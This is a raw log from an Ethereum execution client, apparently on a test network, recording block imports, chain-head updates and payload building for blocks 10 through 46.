↳ hash=e8e7cc..c86f03 root=3a2764..7e2fe3 elapsed="55.828s"
2025-01-15 22:45:28 INFO [01-16|03:45:28.227] Imported new potential chain segment number=10
↳ hash=c7b219..71fba9 blocks=1 txs=0 mgas=0.000 elapsed="763.58s" mgasps=0.000 snapdiffs=2.67KiB
↳ triediffs=24.58KiB triedirty=0.00B
2025-01-15 22:45:28 WARN [01-16|03:45:28.435] Ignoring already known beacon payload number=10
↳ hash=c7b219..71fba9 age=5s
2025-01-15 22:45:28 INFO [01-16|03:45:28.439] Chain head was updated number=10
↳ hash=c7b219..71fba9 root=c8f18a..dbfc59 elapsed="75.54s"
2025-01-15 22:45:31 INFO [01-16|03:45:31.422] Starting work on payload id=0x0319fafc4b30f05c
2025-01-15 22:45:31 INFO [01-16|03:45:31.423] Updated payload id=0x0319fafc4b30f05c
↳ number=11 hash=7dad04..434df0 txs=20 withdrawals=1 gas=1,379,776 fees=1.379776e-06 root=75b232..780f7b
↳ elapsed=1.785ms
2025-01-15 22:45:32 INFO [01-16|03:45:32.923] Stopping work on payload id=0x0319fafc4b30f05c
↳ reason=delivery
2025-01-15 22:45:32 INFO [01-16|03:45:32.941] Imported new potential chain segment number=11
↳ hash=7dad04..434df0 blocks=1 txs=20 mgas=1.380 elapsed=1.841ms mgasps=749.153 snapdiffs=4.17KiB
↳ triediffs=32.27KiB triedirty=0.00B
2025-01-15 22:45:33 WARN [01-16|03:45:33.123] Ignoring already known beacon payload number=11
↳ hash=7dad04..434df0 age=5s
2025-01-15 22:45:33 INFO [01-16|03:45:33.128] Chain head was updated number=11
↳ hash=7dad04..434df0 root=75b232..780f7b elapsed="515.863s"
2025-01-15 22:45:37 INFO [01-16|03:45:37.667] Imported new potential chain segment number=12
↳ hash=6c0369..a56892 blocks=1 txs=0 mgas=0.000 elapsed="503.349s" mgasps=0.000 snapdiffs=4.41KiB
↳ triediffs=34.78KiB triedirty=0.00B
2025-01-15 22:45:37 WARN [01-16|03:45:37.835] Ignoring already known beacon payload number=12
↳ hash=6c0369..a56892 age=4s
2025-01-15 22:45:44 INFO [01-16|03:45:44.701] Chain head was updated number=12
↳ hash=6c0369..a56892 root=f84379..68d8f2 elapsed="123.353s"
2025-01-15 22:45:46 INFO [01-16|03:45:46.780] Imported new potential chain segment number=13
↳ hash=c76441..8e114e blocks=1 txs=0 mgas=0.000 elapsed="743.708s" mgasps=0.000 snapdiffs=4.66KiB
↳ triediffs=37.36KiB triedirty=0.00B
2025-01-15 22:45:47 WARN [01-16|03:45:47.233] Ignoring already known beacon payload number=13
↳ hash=c76441..8e114e age=10s

```

2025-01-15 22:45:47 INFO [01-16|03:45:47.437] Chain head was updated number=13
↳ hash=c76441..8e114e root=9cf5a0..a3a840 elapsed="209.643s"

2025-01-15 22:45:52 INFO [01-16|03:45:52.211] Imported new potential chain segment number=14
↳ hash=4f54ad..02ade5 blocks=1 txs=0 mgas=0.000 elapsed="615.309s" mgasps=0.000 snapdiffs=4.95KiB
↳ triediffs=40.50KiB triedirty=0.00B

2025-01-15 22:45:52 WARN [01-16|03:45:52.752] Ignoring already known beacon payload number=14
↳ hash=4f54ad..02ade5 age=5s

2025-01-15 22:45:53 INFO [01-16|03:45:53.059] Chain head was updated number=14
↳ hash=4f54ad..02ade5 root=6a940f..b76d24 elapsed="72.764s"

2025-01-15 22:45:57 INFO [01-16|03:45:57.546] Imported new potential chain segment number=15
↳ hash=d51a81..e5b405 blocks=1 txs=0 mgas=0.000 elapsed="835.99s" mgasps=0.000 snapdiffs=5.24KiB
↳ triediffs=43.52KiB triedirty=0.00B

2025-01-15 22:45:58 WARN [01-16|03:45:58.068] Ignoring already known beacon payload number=15
↳ hash=d51a81..e5b405 age=6s

2025-01-15 22:45:58 INFO [01-16|03:45:58.350] Chain head was updated number=15
↳ hash=d51a81..e5b405 root=47799c..810d94 elapsed="98.313s"

2025-01-15 22:46:01 INFO [01-16|03:46:01.030] Starting work on payload id=0x0388b7af1db4caeb
2025-01-15 22:46:01 INFO [01-16|03:46:01.031] Updated payload id=0x0388b7af1db4caeb
↳ number=16 hash=351dab..42fceb txs=0 withdrawals=2 gas=0 fees=0 root=278c7f..18eea5
↳ elapsed="283.347s"

2025-01-15 22:46:02 INFO [01-16|03:46:02.532] Stopping work on payload id=0x0388b7af1db4caeb
↳ reason=delivery

2025-01-15 22:46:03 INFO [01-16|03:46:03.060] Imported new potential chain segment number=16
↳ hash=351dab..42fceb blocks=1 txs=0 mgas=0.000 elapsed="674.538s" mgasps=0.000 snapdiffs=5.54KiB
↳ triediffs=46.80KiB triedirty=0.00B

2025-01-15 22:46:03 WARN [01-16|03:46:03.811] Ignoring already known beacon payload number=16
↳ hash=351dab..42fceb age=6s

2025-01-15 22:46:04 INFO [01-16|03:46:04.281] Chain head was updated number=16
↳ hash=351dab..42fceb root=278c7f..18eea5 elapsed="244.035s"

2025-01-15 22:46:08 INFO [01-16|03:46:08.854] Imported new potential chain segment number=17
↳ hash=dbe277..c64103 blocks=1 txs=0 mgas=0.000 elapsed=1.528ms mgasps=0.000 snapdiffs=5.83KiB
↳ triediffs=49.96KiB triedirty=0.00B

2025-01-15 22:46:09 WARN [01-16|03:46:09.523] Ignoring already known beacon payload number=17
↳ hash=dbe277..c64103 age=6s

2025-01-15 22:46:09 INFO [01-16|03:46:09.916] Chain head was updated number=17
↳ hash=dbe277..c64103 root=8e8755..de6dc1 elapsed="103.517s"

2025-01-15 22:46:14 INFO [01-16|03:46:14.718] Imported new potential chain segment number=18
↳ hash=e66f26..1d8a8e blocks=1 txs=0 mgas=0.000 elapsed=1.088ms mgasps=0.000 snapdiffs=6.12KiB
↳ triediffs=53.06KiB triedirty=0.00B

2025-01-15 22:46:15 WARN [01-16|03:46:15.449] Ignoring already known beacon payload number=18
↳ hash=e66f26..1d8a8e age=6s

2025-01-15 22:46:15 INFO [01-16|03:46:15.980] Chain head was updated number=18
↳ hash=e66f26..1d8a8e root=ad4d4b..41ac29 elapsed="66.846s"

2025-01-15 22:46:20 INFO [01-16|03:46:20.656] Imported new potential chain segment number=19
↳ hash=486a67..eb99c5 blocks=1 txs=0 mgas=0.000 elapsed="861.726s" mgasps=0.000 snapdiffs=6.42KiB
↳ triediffs=56.26KiB triedirty=0.00B

2025-01-15 22:46:21 WARN [01-16|03:46:21.493] Ignoring already known beacon payload number=19
↳ hash=486a67..eb99c5 age=6s

2025-01-15 22:46:22 INFO [01-16|03:46:22.103] Chain head was updated number=19
↳ hash=486a67..eb99c5 root=60f277..0697c7 elapsed="110.078s"

2025-01-15 22:46:26 INFO [01-16|03:46:26.792] Imported new potential chain segment number=20
↳ hash=13ecb1..1472d4 blocks=1 txs=0 mgas=0.000 elapsed=1.044ms mgasps=0.000 snapdiffs=6.71KiB
↳ triediffs=59.57KiB triedirty=0.00B

2025-01-15 22:46:27 WARN [01-16|03:46:27.611] Ignoring already known beacon payload number=20
↳ hash=13ecb1..1472d4 age=6s

2025-01-15 22:46:28 INFO [01-16|03:46:28.290] Chain head was updated number=20
↳ hash=13ecb1..1472d4 root=fd427c..2159b1 elapsed="137.652s"

2025-01-15 22:46:30 INFO [01-16|03:46:30.587] Starting work on payload id=0x037b73dee33a153e
2025-01-15 22:46:30 INFO [01-16|03:46:30.587] Updated payload id=0x037b73dee33a153e
↳ number=21 hash=0d0fcf..30ad60 txs=0 withdrawals=2 gas=0 fees=0 root=6cb2cf..8cb588
↳ elapsed="316.591s"

2025-01-15 22:46:32 INFO [01-16|03:46:32.088] Stopping work on payload id=0x037b73dee33a153e
↳ reason=delivery

2025-01-15 22:46:32 INFO [01-16|03:46:32.919] Imported new potential chain segment number=21
↳ hash=0d0fcf..30ad60 blocks=1 txs=0 mgas=0.000 elapsed="609.896s" mgasps=0.000 snapdiffs=7.00KiB
↳ triediffs=62.74KiB triedirty=0.00B

2025-01-15 22:46:33 WARN [01-16|03:46:33.993] Ignoring already known beacon payload number=21
↳ hash=0d0fcf..30ad60 age=6s

2025-01-15 22:46:34 INFO [01-16|03:46:34.801] Chain head was updated number=21
↳ hash=0d0fcf..30ad60 root=6cb2cf..8cb588 elapsed="119.669s"

2025-01-15 22:46:39 INFO [01-16|03:46:39.475] Imported new potential chain segment number=22
↳ hash=da76ce..9fa359 blocks=1 txs=0 mgas=0.000 elapsed="828.136s" mgasps=0.000 snapdiffs=7.29KiB
↳ triediffs=65.92KiB triedirty=0.00B

2025-01-15 22:46:40 WARN [01-16|03:46:40.676] Ignoring already known beacon payload number=22
↳ hash=da76ce..9fa359 age=7s

2025-01-15 22:46:41 INFO [01-16|03:46:41.455] Chain head was updated number=22
↳ hash=da76ce..9fa359 root=25ad0c..da35c0 elapsed="91.503s"

2025-01-15 22:46:46 INFO [01-16|03:46:46.208] Imported new potential chain segment number=23
↳ hash=291048..1b59bb blocks=1 txs=0 mgas=0.000 elapsed="474.59s" mgasps=0.000 snapdiffs=7.59KiB
↳ triediffs=69.09KiB triedirty=0.00B

2025-01-15 22:46:47 WARN [01-16|03:46:47.340] Ignoring already known beacon payload number=23
↳ hash=291048..1b59bb age=7s

2025-01-15 22:46:48 INFO [01-16|03:46:48.251] Chain head was updated number=23
↳ hash=291048..1b59bb root=02cb8c..713460 elapsed="59.689s"

2025-01-15 22:46:53 INFO [01-16|03:46:53.012] Imported new potential chain segment number=24
↳ hash=1d33b9..24199a blocks=1 txs=0 mgas=0.000 elapsed=1.273ms mgasps=0.000 snapdiffs=7.88KiB
↳ triediffs=72.11KiB triedirty=0.00B

2025-01-15 22:46:54 WARN [01-16|03:46:54.304] Ignoring already known beacon payload number=24
↳ hash=1d33b9..24199a age=7s

2025-01-15 22:46:55 INFO [01-16|03:46:55.441] Chain head was updated number=24
↳ hash=1d33b9..24199a root=591b46..61f267 elapsed="126.006s"

2025-01-15 22:47:00 INFO [01-16|03:47:00.101] Imported new potential chain segment number=25
↳ hash=19885c..d50b04 blocks=1 txs=0 mgas=0.000 elapsed="859.116s" mgasps=0.000 snapdiffs=8.17KiB
↳ triediffs=75.34KiB triedirty=0.00B

2025-01-15 22:47:01 WARN [01-16|03:47:01.510] Ignoring already known beacon payload number=25
↳ hash=19885c..d50b04 age=7s

2025-01-15 22:47:02 INFO [01-16|03:47:02.565] Chain head was updated number=25
↳ hash=19885c..d50b04 root=27de7e..d1ecfa elapsed="72.168s"

2025-01-15 22:47:04 INFO [01-16|03:47:04.477] Starting work on payload id=0x035e1153c483e996
2025-01-15 22:47:04 INFO [01-16|03:47:04.478] Updated payload id=0x035e1153c483e996
↳ number=26 hash=f5b5bf..0f1007 txs=0 withdrawals=2 gas=0 fees=0 root=c92b0a..5a9890
↳ elapsed="236.558s"

2025-01-15 22:47:05 INFO [01-16|03:47:05.978] Stopping work on payload id=0x035e1153c483e996
↳ reason=delivery

2025-01-15 22:47:07 INFO [01-16|03:47:07.428] Imported new potential chain segment number=26
↳ hash=f5b5bf..0f1007 blocks=1 txs=0 mgas=0.000 elapsed=1.187ms mgasps=0.000 snapdiffs=8.47KiB
↳ triediffs=78.60KiB triedirty=0.00B

2025-01-15 22:47:11 INFO [01-16|03:47:11.584] Imported new potential chain segment number=26
↳ hash=9f58aa..e6269c blocks=1 txs=0 mgas=0.000 elapsed="792.241s" mgasps=0.000 snapdiffs=8.47KiB
↳ triediffs=78.60KiB triedirty=0.00B

2025-01-15 22:47:13 WARN [01-16|03:47:13.103] Ignoring already known beacon payload number=26
↳ hash=9f58aa..e6269c age=12s

2025-01-15 22:47:14 INFO [01-16|03:47:14.362] Chain head was updated number=26
↳ hash=9f58aa..e6269c root=c92b0a..5a9890 elapsed="149.37s"

2025-01-15 22:47:25 INFO [01-16|03:47:25.486] Imported new potential chain segment number=27
↳ hash=a5dc21..250280 blocks=1 txs=0 mgas=0.000 elapsed=1.137ms mgasps=0.000 snapdiffs=8.76KiB
↳ triediffs=81.88KiB triedirty=0.00B

2025-01-15 22:47:26 WARN [01-16|03:47:26.904] Ignoring already known beacon payload number=27
↳ hash=a5dc21..250280 age=13s

2025-01-15 22:47:28 INFO [01-16|03:47:28.263] Chain head was updated number=27
↳ hash=a5dc21..250280 root=92d29f..0c5780 elapsed="95.171s"

2025-01-15 22:47:37 INFO [01-16|03:47:37.194] Imported new potential chain segment number=28
↳ hash=aa53a4..c4c3b3 blocks=1 txs=0 mgas=0.000 elapsed=1.069ms mgasps=0.000 snapdiffs=9.05KiB
↳ triediffs=85.22KiB triedirty=0.00B

2025-01-15 22:47:38 WARN [01-16|03:47:38.654] Ignoring already known beacon payload number=28
↳ hash=aa53a4..c4c3b3 age=12s

2025-01-15 22:47:40 INFO [01-16|03:47:40.102] Chain head was updated number=28
↳ hash=aa53a4..c4c3b3 root=ea7a54..796093 elapsed="194.959s"

2025-01-15 22:47:48 INFO [01-16|03:47:48.950] Imported new potential chain segment number=29
↳ hash=55c7cc..518daf blocks=1 txs=0 mgas=0.000 elapsed="998.004s" mgasps=0.000 snapdiffs=9.35KiB
↳ triediffs=88.35KiB triedirty=0.00B

2025-01-15 22:47:50 WARN [01-16|03:47:50.734] Ignoring already known beacon payload number=29
↳ hash=55c7cc..518daf age=12s

2025-01-15 22:47:52 INFO [01-16|03:47:52.142] Chain head was updated number=29
↳ hash=55c7cc..518daf root=7fbf4c..48e937 elapsed="93.725s"

2025-01-15 22:47:57 INFO [01-16|03:47:57.847] Starting work on payload id=0x03e3724e271b4e24
2025-01-15 22:47:57 INFO [01-16|03:47:57.848] Updated payload id=0x03e3724e271b4e24
↳ number=30 hash=85d8f9..52b857 txs=0 withdrawals=2 gas=0 fees=0 root=295d50..1c3c01
↳ elapsed="329.729s"

2025-01-15 22:47:59 INFO [01-16|03:47:59.349] Stopping work on payload id=0x03e3724e271b4e24
↳ reason=delivery

2025-01-15 22:48:01 INFO [01-16|03:48:01.107] Imported new potential chain segment number=30
↳ hash=85d8f9..52b857 blocks=1 txs=0 mgas=0.000 elapsed="604.915s" mgasps=0.000 snapdiffs=9.64KiB
↳ triediffs=91.72KiB triedirty=0.00B

2025-01-15 22:48:02 WARN [01-16|03:48:02.896] Ignoring already known beacon payload number=30
↳ hash=85d8f9..52b857 age=12s

2025-01-15 22:48:04 INFO [01-16|03:48:04.470] Chain head was updated number=30
↳ hash=85d8f9..52b857 root=295d50..1c3c01 elapsed="85.274s"

2025-01-15 22:48:05 INFO [01-16|03:48:05.870] Starting work on payload id=0x03262acb23ab8fc6
2025-01-15 22:48:05 INFO [01-16|03:48:05.871] Updated payload id=0x03262acb23ab8fc6
↳ number=31 hash=8ee8af..de20ce txs=0 withdrawals=2 gas=0 fees=0 root=9e59b3..a841e8
↳ elapsed="245.351s"

2025-01-15 22:48:07 INFO [01-16|03:48:07.372] Stopping work on payload id=0x03262acb23ab8fc6
↳ reason=delivery


```

2025-01-15 22:48:13 INFO [01-16|03:48:13.407] Imported new potential chain segment      number=31
↳ hash=bb45c7..d9e39a blocks=1 txs=0 mgas=0.000 elapsed="920.904s" mgasps=0.000 snapdiffs=9.93KiB
↳ triediffs=95.04KiB triedirty=0.00B
2025-01-15 22:48:15 WARN [01-16|03:48:15.276] Ignoring already known beacon payload    number=31
↳ hash=bb45c7..d9e39a age=13s
2025-01-15 22:48:16 INFO [01-16|03:48:16.806] Chain head was updated                    number=31
↳ hash=bb45c7..d9e39a root=9e59b3..a841e8 elapsed="86.131s"
2025-01-15 22:48:33 INFO [01-16|03:48:33.718] Imported new potential chain segment      number=32
↳ hash=016f55..fd8984 blocks=1 txs=0 mgas=0.000 elapsed=2.251ms mgasps=0.000 snapdiffs=10.22KiB
↳ triediffs=98.44KiB triedirty=0.00B
2025-01-15 22:48:35 WARN [01-16|03:48:35.773] Ignoring already known beacon payload    number=32
↳ hash=016f55..fd8984 age=20s
2025-01-15 22:48:37 INFO [01-16|03:48:37.543] Chain head was updated                    number=32
↳ hash=016f55..fd8984 root=055a6a..7807d4 elapsed="156.109s"
2025-01-15 22:49:00 INFO [01-16|03:49:00.696] Starting work on payload                  id=0x03a36a24faac8934
2025-01-15 22:49:00 INFO [01-16|03:49:00.696] Updated payload                          id=0x03a36a24faac8934
↳ number=33 hash=fc0929..5012a2 txs=0 withdrawals=2 gas=0 fees=0 root=a60e4f..876594
↳ elapsed="187.118s"
2025-01-15 22:49:02 INFO [01-16|03:49:02.198] Stopping work on payload                  id=0x03a36a24faac8934
↳ reason=delivery
2025-01-15 22:49:04 INFO [01-16|03:49:04.303] Imported new potential chain segment      number=33
↳ hash=fc0929..5012a2 blocks=1 txs=0 mgas=0.000 elapsed="879.433s" mgasps=0.000 snapdiffs=10.52KiB
↳ triediffs=101.75KiB triedirty=0.00B
2025-01-15 22:49:06 WARN [01-16|03:49:06.688] Ignoring already known beacon payload    number=33
↳ hash=fc0929..5012a2 age=31s
2025-01-15 22:49:08 INFO [01-16|03:49:08.531] Chain head was updated                    number=33
↳ hash=fc0929..5012a2 root=a60e4f..876594 elapsed="68.85s"
2025-01-15 22:49:19 INFO [01-16|03:49:19.610] Starting work on payload                  id=0x0324060b0384985f
2025-01-15 22:49:19 INFO [01-16|03:49:19.611] Updated payload                          id=0x0324060b0384985f
↳ number=34 hash=bf5f7c..95da46 txs=0 withdrawals=2 gas=0 fees=0 root=00a991..d3f0b7
↳ elapsed="225.958s"
2025-01-15 22:49:21 INFO [01-16|03:49:21.112] Stopping work on payload                  id=0x0324060b0384985f
↳ reason=delivery
2025-01-15 22:49:23 INFO [01-16|03:49:23.200] Imported new potential chain segment      number=34
↳ hash=bf5f7c..95da46 blocks=1 txs=0 mgas=0.000 elapsed="510.204s" mgasps=0.000 snapdiffs=10.81KiB
↳ triediffs=104.97KiB triedirty=0.00B
2025-01-15 22:49:25 WARN [01-16|03:49:25.477] Ignoring already known beacon payload    number=34
↳ hash=bf5f7c..95da46 age=19s
2025-01-15 22:49:27 INFO [01-16|03:49:27.337] Chain head was updated                    number=34
↳ hash=bf5f7c..95da46 root=00a991..d3f0b7 elapsed="88.155s"
2025-01-15 22:49:32 INFO [01-16|03:49:32.599] Starting work on payload                  id=0x03f07954165cd904
2025-01-15 22:49:32 INFO [01-16|03:49:32.599] Updated payload                          id=0x03f07954165cd904
↳ number=35 hash=2f48f0..ca9901 txs=0 withdrawals=2 gas=0 fees=0 root=d06058..1cf067
↳ elapsed="238.552s"
2025-01-15 22:49:34 INFO [01-16|03:49:34.101] Stopping work on payload                  id=0x03f07954165cd904
↳ reason=delivery
2025-01-15 22:49:41 INFO [01-16|03:49:41.867] Imported new potential chain segment      number=35
↳ hash=a01e4d..619c3e blocks=1 txs=0 mgas=0.000 elapsed="835.873s" mgasps=0.000 snapdiffs=11.10KiB
↳ triediffs=108.48KiB triedirty=0.00B
2025-01-15 22:49:44 WARN [01-16|03:49:44.169] Ignoring already known beacon payload    number=35
↳ hash=a01e4d..619c3e age=19s
2025-01-15 22:49:46 INFO [01-16|03:49:46.372] Chain head was updated                    number=35
↳ hash=a01e4d..619c3e root=d06058..1cf067 elapsed="75.35s"
2025-01-15 22:49:47 INFO [01-16|03:49:47.152] Starting work on payload                  id=0x03f4d8383d99b91a
2025-01-15 22:49:47 INFO [01-16|03:49:47.153] Updated payload                          id=0x03f4d8383d99b91a
↳ number=36 hash=b2be52..72bdeb txs=0 withdrawals=2 gas=0 fees=0 root=d216e7..bc5a77
↳ elapsed="469.546s"
2025-01-15 22:49:48 INFO [01-16|03:49:48.654] Stopping work on payload                  id=0x03f4d8383d99b91a
↳ reason=delivery
2025-01-15 22:50:01 INFO [01-16|03:50:01.007] Imported new potential chain segment      number=36
↳ hash=462879..a622f0 blocks=1 txs=0 mgas=0.000 elapsed="555.063s" mgasps=0.000 snapdiffs=11.40KiB
↳ triediffs=111.82KiB triedirty=0.00B
2025-01-15 22:50:03 WARN [01-16|03:50:03.237] Ignoring already known beacon payload    number=36
↳ hash=462879..a622f0 age=19s
2025-01-15 22:50:05 INFO [01-16|03:50:05.682] Chain head was updated                    number=36
↳ hash=462879..a622f0 root=d216e7..bc5a77 elapsed="535.189s"
2025-01-15 22:50:29 INFO [01-16|03:50:29.907] Imported new potential chain segment      number=37
↳ hash=387c08..6c73e2 blocks=1 txs=0 mgas=0.000 elapsed="898.998s" mgasps=0.000 snapdiffs=11.69KiB
↳ triediffs=115.28KiB triedirty=0.00B
2025-01-15 22:50:32 WARN [01-16|03:50:32.569] Ignoring already known beacon payload    number=37
↳ hash=387c08..6c73e2 age=29s
2025-01-15 22:50:35 INFO [01-16|03:50:35.714] Chain head was updated                    number=37
↳ hash=387c08..6c73e2 root=7df5f2..94584c elapsed="135.622s"
2025-01-15 22:50:51 INFO [01-16|03:50:51.996] Starting work on payload                  id=0x032b0fd22a1d6376
2025-01-15 22:50:51 INFO [01-16|03:50:51.996] Updated payload                          id=0x032b0fd22a1d6376
↳ number=38 hash=18f516..5e4485 txs=0 withdrawals=2 gas=0 fees=0 root=d70ad2..42980b
↳ elapsed="241.874s"

```

```

2025-01-15 22:50:53 INFO [01-16|03:50:53.498] Stopping work on payload id=0x032b0fd22a1d6376
↳ reason=delivery
2025-01-15 22:50:56 INFO [01-16|03:50:56.124] Imported new potential chain segment number=38
↳ hash=18f516..5e4485 blocks=1 txs=0 mgas=0.000 elapsed="549.779s" mgasps=0.000 snapdiffs=11.98KiB
↳ triediffs=118.81KiB triedirty=0.00B
2025-01-15 22:50:58 WARN [01-16|03:50:58.667] Ignoring already known beacon payload number=38
↳ hash=18f516..5e4485 age=26s
2025-01-15 22:51:01 INFO [01-16|03:51:01.049] Chain head was updated number=38
↳ hash=18f516..5e4485 root=d70ad2..42980b elapsed="153.644s"
2025-01-15 22:51:11 INFO [01-16|03:51:11.566] Starting work on payload id=0x032e38a1c4cd0a89
2025-01-15 22:51:11 INFO [01-16|03:51:11.566] Updated payload id=0x032e38a1c4cd0a89
↳ number=39 hash=bc006f..0b45bd txs=0 withdrawals=2 gas=0 fees=0 root=1f5a54..3e0952
↳ elapsed="209.242s"
2025-01-15 22:51:13 INFO [01-16|03:51:13.068] Stopping work on payload id=0x032e38a1c4cd0a89
↳ reason=delivery
2025-01-15 22:51:29 INFO [01-16|03:51:29.839] Imported new potential chain segment number=39
↳ hash=42ab15..827da3 blocks=1 txs=0 mgas=0.000 elapsed="946.707s" mgasps=0.000 snapdiffs=12.28KiB
↳ triediffs=122.19KiB triedirty=0.00B
2025-01-15 22:51:32 WARN [01-16|03:51:32.388] Ignoring already known beacon payload number=39
↳ hash=42ab15..827da3 age=34s
2025-01-15 22:51:34 INFO [01-16|03:51:34.890] Chain head was updated number=39
↳ hash=42ab15..827da3 root=1f5a54..3e0952 elapsed="173.378s"
2025-01-15 22:51:39 INFO [01-16|03:51:39.502] Starting work on payload id=0x034efdbc98957f2a
2025-01-15 22:51:39 INFO [01-16|03:51:39.503] Updated payload id=0x034efdbc98957f2a
↳ number=40 hash=ed9d65..0b510d txs=0 withdrawals=2 gas=0 fees=0 root=b3e33d..6ce0e8
↳ elapsed="252.699s"
2025-01-15 22:51:41 INFO [01-16|03:51:41.004] Stopping work on payload id=0x034efdbc98957f2a
↳ reason=delivery
2025-01-15 22:52:07 INFO [01-16|03:52:07.492] Imported new potential chain segment number=40
↳ hash=89271e..6cdb58 blocks=1 txs=0 mgas=0.000 elapsed="794.909s" mgasps=0.000 snapdiffs=12.57KiB
↳ triediffs=125.76KiB triedirty=0.00B
2025-01-15 22:52:10 WARN [01-16|03:52:10.297] Ignoring already known beacon payload number=40
↳ hash=89271e..6cdb58 age=38s
2025-01-15 22:52:12 INFO [01-16|03:52:12.691] Chain head was updated number=40
↳ hash=89271e..6cdb58 root=b3e33d..6ce0e8 elapsed="127.352s"
2025-01-15 22:52:13 INFO [01-16|03:52:13.277] Starting work on payload id=0x0347b5bdebaace5f
2025-01-15 22:52:13 INFO [01-16|03:52:13.278] Updated payload id=0x0347b5bdebaace5f
↳ number=41 hash=93280d..db5a05 txs=0 withdrawals=2 gas=0 fees=0 root=d11c5d..d95396
↳ elapsed="227.123s"
2025-01-15 22:52:14 INFO [01-16|03:52:14.779] Stopping work on payload id=0x0347b5bdebaace5f
↳ reason=delivery
2025-01-15 22:52:22 INFO [01-16|03:52:22.117] Imported new potential chain segment number=41
↳ hash=ed185c..f1b7b5 blocks=1 txs=0 mgas=0.000 elapsed="766.666s" mgasps=0.000 snapdiffs=12.86KiB
↳ triediffs=129.10KiB triedirty=0.00B
2025-01-15 22:52:28 INFO [01-16|03:52:28.218] Imported new potential chain segment number=41
↳ hash=5bea5b..dc655d blocks=1 txs=0 mgas=0.000 elapsed="490.272s" mgasps=0.000 snapdiffs=12.86KiB
↳ triediffs=129.10KiB triedirty=0.00B
2025-01-15 22:52:34 INFO [01-16|03:52:34.633] Imported new potential chain segment number=41
↳ hash=7e1d33..13ab7b blocks=1 txs=0 mgas=0.000 elapsed="739.601s" mgasps=0.000 snapdiffs=12.86KiB
↳ triediffs=129.10KiB triedirty=0.00B
2025-01-15 22:52:37 WARN [01-16|03:52:37.312] Ignoring already known beacon payload number=41
↳ hash=7e1d33..13ab7b age=27s
2025-01-15 22:52:39 INFO [01-16|03:52:39.818] Chain head was updated number=41
↳ hash=7e1d33..13ab7b root=d11c5d..d95396 elapsed="125.674s"
2025-01-15 22:53:01 INFO [01-16|03:53:01.472] Imported new potential chain segment number=42
↳ hash=270d55..8823af blocks=1 txs=0 mgas=0.000 elapsed=1.102ms mgasps=0.000 snapdiffs=13.15KiB
↳ triediffs=132.60KiB triedirty=0.00B
2025-01-15 22:53:04 WARN [01-16|03:53:04.322] Ignoring already known beacon payload number=42
↳ hash=270d55..8823af age=27s
2025-01-15 22:53:07 INFO [01-16|03:53:07.105] Chain head was updated number=42
↳ hash=270d55..8823af root=e0a37f..59689c elapsed="194.799s"
2025-01-15 22:53:24 INFO [01-16|03:53:24.445] Starting work on payload id=0x0346720e4756983b
2025-01-15 22:53:24 INFO [01-16|03:53:24.446] Updated payload id=0x0346720e4756983b
↳ number=43 hash=21b7cb..52ba8b txs=0 withdrawals=2 gas=0 fees=0 root=639c56..392d40
↳ elapsed="288.699s"
2025-01-15 22:53:25 INFO [01-16|03:53:25.947] Stopping work on payload id=0x0346720e4756983b
↳ reason=delivery
2025-01-15 22:53:36 INFO [01-16|03:53:36.365] Imported new potential chain segment number=43
↳ hash=5ba2a5..316bce blocks=1 txs=0 mgas=0.000 elapsed="841.859s" mgasps=0.000 snapdiffs=13.45KiB
↳ triediffs=135.97KiB triedirty=0.00B
2025-01-15 22:53:39 WARN [01-16|03:53:39.522] Ignoring already known beacon payload number=43
↳ hash=5ba2a5..316bce age=35s
2025-01-15 22:53:42 INFO [01-16|03:53:42.392] Chain head was updated number=43
↳ hash=5ba2a5..316bce root=639c56..392d40 elapsed="164.859s"
2025-01-15 22:53:53 INFO [01-16|03:53:53.237] Starting work on payload id=0x03608f937b76f781

```

```

2025-01-15 22:53:53 INFO [01-16|03:53:53.237] Updated payload id=0x03608f937b76f781
↳ number=44 hash=d1f75e..89cb55 txs=0 withdrawals=2 gas=0 fees=0 root=892777..7e0cf9
↳ elapsed="436.094s"
2025-01-15 22:53:54 INFO [01-16|03:53:54.739] Stopping work on payload id=0x03608f937b76f781
↳ reason=delivery
2025-01-15 22:54:21 INFO [01-16|03:54:21.056] Imported new potential chain segment number=44
↳ hash=682101..564617 blocks=1 txs=0 mgas=0.000 elapsed="682.196s" mgasps=0.000 snapdiffs=13.74KiB
↳ triediffs=139.35KiB triedirty=0.00B
2025-01-15 22:54:24 WARN [01-16|03:54:24.557] Ignoring already known beacon payload number=44
↳ hash=682101..564617 age=45s
2025-01-15 22:54:27 INFO [01-16|03:54:27.487] Chain head was updated number=44
↳ hash=682101..564617 root=892777..7e0cf9 elapsed="116.407s"
2025-01-15 22:54:31 INFO [01-16|03:54:31.745] Starting work on payload id=0x038ff441e640324f
2025-01-15 22:54:31 INFO [01-16|03:54:31.745] Updated payload id=0x038ff441e640324f
↳ number=45 hash=412217..798e4b txs=0 withdrawals=2 gas=0 fees=0 root=857a9c..3e8ef4
↳ elapsed="291.837s"
2025-01-15 22:54:33 INFO [01-16|03:54:33.246] Stopping work on payload id=0x038ff441e640324f
↳ reason=delivery
2025-01-15 22:54:57 INFO [01-16|03:54:57.081] Imported new potential chain segment number=45
↳ hash=6dbfaa..64e69c blocks=1 txs=0 mgas=0.000 elapsed="633.624s" mgasps=0.000 snapdiffs=14.03KiB
↳ triediffs=142.68KiB triedirty=0.00B
2025-01-15 22:55:00 WARN [01-16|03:55:00.237] Ignoring already known beacon payload number=45
↳ hash=6dbfaa..64e69c age=36s
2025-01-15 22:55:03 INFO [01-16|03:55:03.146] Chain head was updated number=45
↳ hash=6dbfaa..64e69c root=857a9c..3e8ef4 elapsed="230.002s"
2025-01-15 22:55:03 INFO [01-16|03:55:03.218] Starting work on payload id=0x03dec7b5b4a77282
2025-01-15 22:55:03 INFO [01-16|03:55:03.218] Updated payload id=0x03dec7b5b4a77282
↳ number=46 hash=05d245..c9944f txs=0 withdrawals=2 gas=0 fees=0 root=07c623..29679c
↳ elapsed="365.385s"
2025-01-15 22:55:04 INFO [01-16|03:55:04.720] Stopping work on payload id=0x03dec7b5b4a77282
↳ reason=delivery
2025-01-15 22:55:40 INFO [01-16|03:55:40.038] Imported new potential chain segment number=46
↳ hash=05d245..c9944f blocks=1 txs=0 mgas=0.000 elapsed="809.018s" mgasps=0.000 snapdiffs=14.33KiB
↳ triediffs=145.84KiB triedirty=0.00B
2025-01-15 22:55:43 WARN [01-16|03:55:43.483] Ignoring already known beacon payload number=46
↳ hash=05d245..c9944f age=43s
2025-01-15 22:55:46 INFO [01-16|03:55:46.786] Chain head was updated number=46
↳ hash=05d245..c9944f root=07c623..29679c elapsed="73.052s"
